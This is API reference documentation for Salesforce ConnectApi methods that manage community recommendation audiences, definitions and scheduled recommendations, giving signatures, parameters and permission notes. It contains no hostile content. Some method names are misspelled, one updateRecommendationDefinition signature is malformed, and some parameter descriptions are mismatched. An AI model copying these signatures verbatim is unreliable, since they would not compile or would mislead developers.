createScheduledRecommendation(communityId, scheduledRecommendation)
Create a scheduled recommendation.
createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId)
Create a scheduled recommendation with the specified parameters.
deleteRecommendationAudience(communityId, recommendationAudienceId)
Delete a recommendation audience.

delteRecommendationDefinition(communityId, recommendationDefinitionId)
Delete a recommendation definition.

delteRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Delete a recommendation definition photo.

delteScheduledRecommendation(communityId, scheduledRecommendationId, deleteDefinitionIfLast)
Delete a scheduled recommendation.

getRecommendationAudience(communityId, recommendationAudienceId)
Get information about a recommendation audience.

getRecommendationAudienceMembership(communityId, recommendationAudienceId)
Get the members of a recommendation audience.

getRecommendationAudienceMembership(communityId, recommendationAudienceId, pageParam, pageSize)
Get a page of recommendation audience members.

getRecommendationAudiences(communityId)
Get recommendation audiences.

getRecommendationAudiences(communityId, pageParam, pageSize)
Get a page of recommendation audiences.

getRecommendationDefinition(communityId, recommendationDefinitionId)
Get a recommendation definition.

getRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Get a recommendation definition photo.

getRecommendationDefinitions(communityId)
Get recommendation definitions.

getRecommendationForUser(communityId, userId, action, objectId)
Returns the recommendation for the context user for the specified action and object ID.

getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)
Returns the user, group, file, record, custom, and static recommendations for the context user.

getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action.

getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action and object category.

getScheduledRecommendation(communityId, scheduledRecommendationId)
Get a scheduled recommendation.

getScheduledRecommendations(communityId)
Get scheduled recommendations.

rejectRecommendationForUser(communityId, userId, action, objectId)
Rejects the recommendation for the context user for the specified action and object ID.

rejectRecommendationForUser(communityId, userId, action, objectEnum)
Rejects the static recommendation for the context user.
updateRecommendationAudience(communityId, recommendationAudienceId, recommendationAudience)
Update a recommendation audience.

updateRecommendationDefinition(communityId, recommendationDefinitionId, name, title, actionUrl, actionUrlName, explanation)
Update a recommendation definition with the specified parameters.

updateRecommendationDefinition(communityId, recommendationDefinitionId, recommendationDefinition)
Update a recommendation definition.

updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileUpload)
Update a recommendation definition photo with a file that hasn’t been uploaded.

updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileId, versionNumber)
Update a recommendation definition photo with a file that’s already uploaded.

updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo)
Update a recommendation definition photo with a file that’s been uploaded but requires cropping.

updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo, fileUpload)
Update a recommendation definition photo with a file that hasn’t been uploaded and requires cropping.

updateScheduledRecommendation(communityId, scheduledRecommendationId, scheduledRecommendation)
Update a scheduled recommendation.

updateScheduledRecommendation(communityId, scheduledRecommendationId, rank, enabled, recommendationAudienceId)
Update a scheduled recommendation with the specified parameters.

createRecommendationAudience(communityId, recommendationAudience)
Create an audience for a recommendation.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudience createRecommendationAudience(String communityId, ConnectApi.RecommendationAudienceInput recommendationAudience)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

recommendationAudience
Type: ConnectApi.RecommendationAudienceInput
A ConnectApi.RecommendationAudienceInput object containing the name of the audience.
Return Value
Type: `ConnectApi.RecommendationAudience`

Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

`createRecommendationAudience(communityId, name)`
Create an audience for a recommendation.

API Version
35.0

Requires Chatter
No

Signature

```java
public static ConnectApi.RecommendationAudience createRecommendationAudience(String communityId, String name)
```

Parameters

- **communityId**
  Type: `String`
  Use either the ID for a community, `internal`, or `null`.

- **name**
  Type: `String`
  The name of the audience.

Return Value
Type: `ConnectApi.RecommendationAudience`

Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
createRecommendationDefinition(communityId, recommendationDefinition)

Create a recommendation definition.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationDefinition createRecommendationDefinition(String communityId, ConnectApi.RecommendationDefinitionInput recommendationDefinition)

Parameters
communityId
  Type: String
  Use either the ID for a community, internal, or null.

recommendationDefinition
  Type: ConnectApi.RecommendationDefinitionInput
  A ConnectApi.RecommendationDefinitionInput object.

Return Value
Type: ConnectApi.RecommendationDefinition

Usage
Recommendation definitions allow you to create custom recommendations that appear in communities, encouraging users to watch videos, take training and more.

Community managers (users with the "Create and Set Up Communities" or "Manage Communities" permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the "Modify All Data" permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

These recommendations appear directly in the feed in communities in the Salesforce1 mobile browser app. They also appear, by default, on the right side of the home page and anywhere community managers add them using Community Builder in communities using the Summer '15 or later version of the Napili template.

createRecommendationDefinition(communityId, name, title, actionUrl, actionUrlName, explanation)

Create a recommendation definition with the specified parameters.
API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationDefinition createRecommendationDefinition(String communityId, String name, String title, String actionUrl, String actionUrlName, String explanation)

Parameters

- **communityId**
  Type: String
  Use either the ID for a community, internal, or null.

- **name**
  Type: String
  The name of the recommendation definition. The name is displayed in Setup.

- **title**
  Type: String
  The title of the recommendation definition.

- **actionUrl**
  Type: String
  The URL for acting on the recommendation, for example, the URL to join a group.

- **actionUrlName**
  Type: String
  The text label for the action URL in the user interface, for example, “Launch.”

- **explanation**
  Type: String
  The explanation, or body, of the recommendation.

Return Value
Type: ConnectApi.RecommendationDefinition

Usage
Recommendation definitions allow you to create custom recommendations that appear in communities, encouraging users to watch videos, take training and more.

Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with...
the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

These recommendations appear directly in the feed in communities in the Salesforce1 mobile browser app. They also appear, by default, on the right side of the home page and anywhere community managers add them using Community Builder in communities using the Summer '15 or later version of the Napili template.

```java
createScheduledRecommendation(communityId, scheduledRecommendation)
```

Create a scheduled recommendation.

**API Version**

35.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.ScheduledRecommendation createScheduledRecommendation(String communityId, ConnectApi.ScheduledRecommendationInput scheduledRecommendation)
```

**Parameters**

- **communityId**
  - Type: `String`
  - Use either the ID for a community, internal, or `null`.

- **scheduledRecommendation**
  - Type: `ConnectApi.ScheduledRecommendationInput`

**Return Value**

Type: `ConnectApi.ScheduledRecommendation`

**Usage**

Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

```java
createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId)
```

Create a scheduled recommendation with the specified parameters.
API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.ScheduledRecommendation createScheduledRecommendation(String communityId, String recommendationDefinitionId, Integer rank, Boolean enabled, String recommendationAudienceId)

Parameters

**communityId**  
Type: String  
Use either the ID for a community, internal, or null.

**recommendationDefinitionId**  
Type: String  
ID of the recommendation definition.

**rank**  
Type: Integer  
Relative rank of the scheduled recommendation indicated by ascending whole numbers starting with 1.

Setting the rank is comparable to an insertion into an ordered list. The scheduled recommendation is inserted into the position specified by the rank. The rank of all the scheduled recommendations after it is pushed down. See Ranking scheduled recommendations example.

If the specified rank is larger than the size of the list, the scheduled recommendation is put at the end of the list. The rank of the scheduled recommendation is the size of the list, instead of the one specified.

If a rank is not specified, the scheduled recommendation is put at the end of the list.

**enabled**  
Type: Boolean  
Indicates whether scheduling is enabled. If true, the recommendation is enabled and appears in communities. If false, recommendations in feeds in the Salesforce1 mobile browser app aren't removed, but no new recommendations appear. In communities using the Summer '15 or later version of the Napili template, disabled recommendations no longer appear.

**recommendationAudienceId**  
Type: String  
ID of the recommendation definition that this scheduled recommendation schedules.

Return Value
Type: ConnectApi.ScheduledRecommendation
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

Ranking scheduled recommendations example

If you have these scheduled recommendations:

<table>
<thead>
<tr>
<th>Scheduled Recommendations</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>3</td>
</tr>
</tbody>
</table>

And you include this information in the Scheduled Recommendation Input:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
</tbody>
</table>

The result is:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>3</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>4</td>
</tr>
</tbody>
</table>

deleteRecommendationAudience(communityId, recommendationAudienceId)
Delete a recommendation audience.

API Version
35.0

Requires Chatter
No
Signature

```java
public static Void deleteRecommendationAudience(String communityId, String recommendationAudienceId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- `recommendationAudienceId`
  - Type: `String`
  - ID of the recommendation audience.

Return Value

Type: `Void`

Usage

Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

```java
defleteRecommendationDefinition(communityId, recommendationDefinitionId)
```

Delete a recommendation definition.

API Version

35.0

Requires Chatter

No

Signature

```java
public static Void deleteRecommendationDefinition(String communityId, String recommendationDefinitionId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.

- `recommendationDefinitionId`
  - Type: `String`
Recommendation definition.

Return Value
Type: Void

Usage
Community managers (users with the "Create and Set Up Communities" or "Manage Communities" permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the "Modify All Data" permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

`deleteRecommendationDefinitionPhoto(String communityId, String recommendationDefinitionId)`
Delete a recommendation definition photo.

API Version
35.0

Requires Chatter
Yes

Signature
`public static Void deleteRecommendationDefinitionPhoto(String communityId, String recommendationDefinitionId)`

Parameters

`communityId`
Type: `String`
Use either the ID for a community, `internal`, or `null`.

`recommendationDefinitionId`
Type: `String`
ID of the recommendation definition.

Return Value
Type: Void

Usage
Community managers (users with the "Create and Set Up Communities" or "Manage Communities" permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the "Modify All Data" permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
deleteScheduledRecommendation(communityId, scheduledRecommendationId, deleteDefinitionIfLast)

Delete a scheduled recommendation.

API Version
35.0

Requires Chatter
No

Signature
public static Void deleteScheduledRecommendation(String communityId, String scheduledRecommendationId, Boolean deleteDefinitionIfLast)

Parameters
communityId
    Type: String
    Use either the ID for a community, internal, or null.
scheduledRecommendationId
    Type: String
    ID of the scheduled recommendation.
deleteDefinitionIfLast
    Type: Boolean
    If true and if this is the last scheduled recommendation of a recommendation definition, deletes the recommendation definition. Default is false.

Return Value
Type: Void

Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

Deleting a scheduled recommendation is comparable to a deletion in an ordered list. All scheduled recommendations after the deleted scheduled recommendation receive a new, higher rank automatically.

getRecommendationAudience(communityId, recommendationAudienceId)

Get information about a recommendation audience.
API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudience getRecommendationAudience(String communityId, String recommendationAudienceId)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationAudienceId
Type: String
ID of the recommendation audience.

Return Value
Type: ConnectApi.RecommendationAudience

Usage
Community managers (users with the "Create and Set Up Communities" or "Manage Communities" permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the "Modify All Data" permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

getRecommendationAudienceMembership(communityId, recommendationAudienceId)
Get the members of a recommendation audience.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.UserReferencePage getRecommendationAudienceMembership(String communityId, String recommendationAudienceId)
Parameters

`communityId`  
Type: `String`  
Use either the ID for a community, `internal`, or `null`.

`recommendationAudienceId`  
Type: `String`  
ID of the recommendation audience.

Return Value

Type: `ConnectApi.UserReferencePage`

Usage

Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

`getRecommendationAudienceMembership(communityId, recommendationAudienceId, pageParam, pageSize)`

Get a page of recommendation audience members.

API Version

35.0

Requires Chatter

No

Signature

`public static ConnectApi.UserReferencePage getRecommendationAudienceMembership(String communityId, String recommendationAudienceId, Integer pageParam, Integer pageSize)`

Parameters

`communityId`  
Type: `String`  
Use either the ID for a community, `internal`, or `null`.

`recommendationAudienceId`  
Type: `String`  
ID of the recommendation audience.

`pageParam`  
Type: `Integer`
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of members per page.

**Return Value**
Type: ConnectApi.UserReferencePage

**Usage**
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

**getRecommendationAudiences (communityId)**
Get recommendation audiences.

**API Version**
35.0

**Requires Chatter**
No

**Signature**
```java
public static ConnectApi.RecommendationAudiencePage getRecommendationAudiences(String communityId)
```

**Parameters**

**communityId**
Type: String
Use either the ID for a community, internal, or null.

**Return Value**
Type: ConnectApi.RecommendationAudiencePage

**Usage**
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
getRecommendationAudiences(communityId, pageParam, pageSize)
Get a page of recommendation audiences.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudiencePage getRecommendationAudiences(String communityId, Integer pageParam, Integer pageSize)

Parameters
communityId
  Type: String
  Use either the ID for a community, internal, or null.

pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of audiences per page.

Return Value
Type: ConnectApi.RecommendationAudiencePage

Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

getRecommendationDefinition(communityId, recommendationDefinitionId)
Get a recommendation definition.

API Version
35.0
Requires Chatter
No

Signature
public static ConnectApi.RecommendationDefinition getRecommendationDefinition(String communityId, String recommendationDefinitionId)

Parameters

  communityId
    Type: String
    Use either the ID for a community, internal, or null.

  recommendationDefinitionId
    Type: String
    ID of the recommendation definition.

Return Value
Type: ConnectApi.RecommendationDefinition

Usage
Community managers (users with the "Create and Set Up Communities" or "Manage Communities" permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the "Modify All Data" permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

getRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Get a recommendation definition photo.

API Version
35.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo getRecommendationDefinitionPhoto(String communityId, String recommendationDefinitionId)

Parameters

  communityId
    Type: String
Use either the ID for a community, internal, or null.

**recommendationDefinitionId**
Type: String
ID of the recommendation definition.

**Return Value**
Type: `ConnectApi.Photo`

**Usage**
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

**getRecommendationDefinitions(communityId)**
Get recommendation definitions.

**API Version**
35.0

**Requires Chatter**
No

**Signature**
```java
public static ConnectApi.RecommendationDefinitionPage getRecommendationDefinitions(String communityId)
```

**Parameters**

*communityId*
Type: String
Use either the ID for a community, internal, or null.

**Return Value**
Type: `ConnectApi.RecommendationDefinitionPage`

**Usage**
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
getRecommendationForUser(communityId, userId, action, objectId)
Returns the recommendation for the context user for the specified action and object ID.

API Version
33.0

Requires Chatter
Yes

Signature
public static ConnectApi.RecommendationCollection getRecommendationForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectId)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
• follow—Follow a file, record, or user.
• join—Join a group.
• view—View a file, group, record, user, custom, or static recommendation.

objectId
Type: String
Specifies the object to take action on.
• If action is follow, objectId is a user ID, file ID, or record ID.
• If action is join, objectId is a group ID.
• If action is view, objectId is a user ID, file ID, group ID, record ID, custom recommendation ID (version 34.0 and later), or the enum Today for static recommendations (version 35.0 and later).

Return Value
Type: ConnectApi.RecommendationCollection
Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

setTestGetRecommendationForUser(communityId, userId, action, objectId, result)
Testing ConnectApi Code

getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)

Returns the user, group, file, record, custom, and static recommendations for the context user.

API Version

33.0

Requires Chatter

Yes

Signature

public static ConnectApi.RecommendationCollection getRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer maxResults)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
• follow
• view

Use contextAction and contextObjectId together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

contextObjectId
Type: String
ID of the object that the context user just performed an action on.
• If `contextAction` is `follow`, `contextObjectId` is a user ID, file ID, or record ID.
• If `contextAction` is `view`, `contextObjectId` is a user ID, file ID, group ID, or record ID.

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

`maxResults`
Type: `Integer`
Maximum number of recommendation results; default is 10. Value must be greater than 0.

Return Value
Type: `ConnectApi.RecommendationCollection`

Usage
If you want to get recommendations based on a recent action performed, such as following a user, use `contextAction` and `contextObjectId` together. For example, if you just followed Pam, you specify `follow` for `contextAction` and Pam’s user ID for `contextObjectId`.

This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method returns a recommendation for you to follow Suzanne since John also follows Suzanne.

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

`setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)`
`Testing ConnectApi Code`
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)

Returns the recommendations for the context user for the specified action.

API Version

33.0

Requires Chatter

Yes

Signature

public static ConnectApi.RecommendationCollection getRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer maxResults)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
- follow—Follow a file, record, or user.
- join—Join a group.
- view—View a file, group, record, user, custom, or static recommendation.

contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
- follow
- view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.

contextObjectId
Type: String
ID of the object that the context user just performed an action on.
- If contextAction is follow, contextObjectId is a user ID, file ID, or record ID.
If `contextAction` is `view`, `contextObjectId` is a user ID, file ID, group ID, or record ID. Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

`maxResults`  
Type: `Integer`  
Maximum number of recommendation results; default is 10. Value must be greater than 0.

**Return Value**  
Type: `ConnectApi.RecommendationCollection`  

**Usage**  
If you want to get recommendations based on a recent action performed, such as following a user, use `contextAction` and `contextObjectId` together. For example, if you just followed Pam, you specify `follow` for `contextAction` and Pam’s user ID for `contextObjectId`.

This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method returns a recommendation for you to follow Suzanne since John also follows Suzanne.

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

`setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)`  
Testing ConnectApi Code

`getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)`  
Returns the recommendations for the context user for the specified action and object category.
API Version
33.0

Requires Chatter
Yes

Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectCategory, ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer maxResults)

Parameters

communityId
  Type: String
  Use either the ID for a community, internal, or null.

userId
  Type: String
  The ID for the context user or the keyword me.

action
  Type: ConnectApi.RecommendationActionType
  Specifies the action to take on a recommendation.
  • follow—Follow a file, record, or user.
  • join—Join a group.
  • view—View a file, group, record, user, custom, or static recommendation.

objectCategory
  Type: String
  • If action is follow, objectCategory is users, files, or records.
  • If action is join, objectCategory is groups.
  • If action is view, objectCategory is users, files, groups, records, custom, or apps.
  You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
  • If action is follow, objectCategory is 005 (users), 069 (files), or 001 (accounts), for example.
  • If action is join, objectCategory is 0F9 (groups).
  • If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T (static recommendations), or 001 (accounts), for example.

contextAction
  Type: ConnectApi.RecommendationActionType
  Action that the context user just performed. Supported values are:
  • follow
  • view
Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

**contextObjectId**

Type: `String`

ID of the object that the context user just performed an action on.

- If `contextAction` is `follow`, `contextObjectId` is a user ID, file ID, or record ID.
- If `contextAction` is `view`, `contextObjectId` is a user ID, file ID, group ID, or record ID.

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

**maxResults**

Type: `Integer`

Maximum number of recommendation results; default is 10. Value must be greater than 0.

**Return Value**

Type: `ConnectApi.RecommendationCollection`

**Usage**

If you want to get recommendations based on a recent action performed, such as following a user, use `contextAction` and `contextObjectId` together. For example, if you just followed Pam, you specify `follow` for `contextAction` and Pam’s user ID for `contextObjectId`.

This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method returns a recommendation for you to follow Suzanne since John also follows Suzanne.
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

### getScheduledRecommendation(communityId, scheduledRecommendationId)

Get a scheduled recommendation.

**API Version**

35.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.ScheduledRecommendation getScheduledRecommendation(String communityId, String scheduledRecommendationId)
```

**Parameters**

- `communityId`
  - Type: `String`
  - Use either the ID for a community, `internal`, or `null`.  
- `scheduledRecommendationId`
  - Type: `String`
  - ID of the scheduled recommendation.

**Return Value**

Type: `ConnectApi.ScheduledRecommendation`

**Usage**

Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the “Modify All Data” permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

### getScheduledRecommendations(communityId)

Get scheduled recommendations.
API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.ScheduledRecommendationPage getScheduledRecommendations(String communityId)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.ScheduledRecommendationPage

Usage
Community managers (users with the "Create and Set Up Communities" or "Manage Communities" permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the "Modify All Data" permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

rejectRecommendationForUser(communityId, userId, action, objectId)
Rejects the recommendation for the context user for the specified action and object ID.

API Version
33.0

Requires Chatter
Yes

Signature
public static rejectRecommendationForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectId)

Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation. Supported values are:
- follow—Follow a file, record, or user.
- join—Join a group.
- view—View a file, group, record, user, custom, or static recommendation.

objectId
Type: String
Specifies the object to take action on.
- If action is follow, objectId is a user ID, file ID, or record ID.
- If action is join, objectId is a group ID.
- If action is view, objectId is a custom recommendation ID or the enum Today for static recommendations.

Return Value
Type: Void

rejectRecommendationForUser(communityId, userId, action, objectEnum)
Rejects the static recommendation for the context user.

API Version
34.0

Requires Chatter
Yes

Signature
public static rejectRecommendationForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, ConnectApi.RecommendedObjectType objectEnum)

Parameters

communityId
Type: String
Use either the ID for a community, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

**action**

Type: ConnectApi.RecommendationActionType

Specifies the action to take on a recommendation. Supported values are:

- **view**—View a static recommendation.

**objectEnum**

Type: ConnectApi.RecommendedObjectType

Specifies the object type to take action on.

- **Today**—Static recommendations that don’t have an ID, for example, the Today app recommendation.

**Return Value**

Type: Void

**updateRecommendationAudience(communityId, recommendationAudienceId, recommendationAudience)**

Update a recommendation audience.

**API Version**

35.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.RecommendationAudience updateRecommendationAudience(String communityId, String recommendationAudienceId, ConnectApi.RecommendationAudienceInput recommendationAudience)
```

**Parameters**

**communityId**

Type: String

Use either the ID for a community, internal, or null.

**recommendationAudienceId**

Type: String

ID of the recommendation audience.

**recommendationAudience**

Type: ConnectApi.RecommendationAudienceInput

A ConnectApi.RecommendationAudienceInput object containing the member operation, members, and optionally the name of the audience, to update.
Return Value
Type: `ConnectApi.RecommendationAudience`

Usage
Community managers (users with the "Create and Set Up Communities" or "Manage Communities" permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the "Modify All Data" permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

`updateRecommendationDefinition(communityId, recommendationDefinitionId, name, title, actionUrl, actionUrlName, explanation)`
Update a recommendation definition with the specified parameters.

API Version
35.0

Requires Chatter
No

Signature
```java
public static ConnectApi.RecommendationDefinition updateRecommendationDefinition(String communityId, String recommendationDefinitionId, String name, String title, String actionUrl, String actionUrlName, String explanation recommendationDefinition)
```

Parameters
- `communityId`
  Type: `String`
  Use either the ID for a community, internal, or null.
- `recommendationDefinitionId`
  Type: `String`
  ID of the recommendation definition.
- `name`
  Type: `String`
  The name of the recommendation definition. The name is displayed in Setup.
- `title`
  Type: `String`
  The title of the recommendation definition.
- `actionUrl`
  Type: `String`
  The URL for acting on the recommendation, for example, the URL to join a group.
actionUrlName
  Type: String
  The text label for the action URL in the user interface, for example, "Launch."

explanation
  Type: String
  The explanation, or body, of the recommendation.

Return Value
Type: ConnectApi.RecommendationDefinition

Usage
Community managers (users with the "Create and Set Up Communities" or "Manage Communities" permission) can access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with the "Modify All Data" permission can also access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.

updateRecommendationDefinition(communityId, recommendationDefinitionId, recommendationDefinition)
Update a recommendation definition.

API Version
35.0

Requires Chatter
No

Signature
